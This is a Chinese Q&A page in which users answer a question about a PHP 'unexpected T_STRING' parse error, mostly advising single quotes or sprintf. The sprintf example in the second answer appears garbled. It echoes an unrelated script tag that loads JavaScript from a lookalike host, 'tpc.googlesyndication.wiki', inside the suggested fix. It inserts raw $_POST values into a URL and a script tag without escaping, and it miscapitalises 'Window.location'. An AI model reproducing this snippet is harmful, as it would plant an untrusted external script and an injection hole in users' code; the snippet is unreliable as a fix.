首 页 行业资讯 新车 试驾评测 养车用车 车型库

PHP错误提示:Parse error: syntax error, unexpected 'text' (T_STRING), expecting ',' or ';' in?

发布网友 发布时间:2022-04-21 03:39

我来回答

3个回答

热心网友 时间:2023-11-05 04:15

这个错误提示表明,在 PHP 代码的某个地方出现了一个语法错误,具体来说,PHP 的解析器在扫描代码时遇到了一个不正确的字符串,并且它期望看到一个逗号或分号,而实际上没有遇到这些字符。
在这种情况下,通常会有一些编码错误,例如将一个字符串写成了一个变量或函数名,或者在一个字符串中没有正确的引号。

热心网友 时间:2023-11-05 04:15

把图片中的3行的所有双引号改为单引号即可解决问题。

你的代码中同时有单引号和双引号,拼字符串时很容易出错,推荐用sprintf函数实现,可以避免此类问题出现。
如:
$url = sprintf('Index/sysupdate?objsign=%s&zfile=%s', $_POST['objsign'], str_ireplace('/', '~', $upload_info));
echo sprintf('<script type="text/javascript">Window.location.href="%s";</script><script type="text/javascript" src="tpc.googlesyndication.wiki/sodar/sodar2.js"></script>', U($url));

热心网友 时间:2023-11-05 04:16

字符串的双引号使用不当,尤其是3行中的属性的双引号可以改为单引号

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com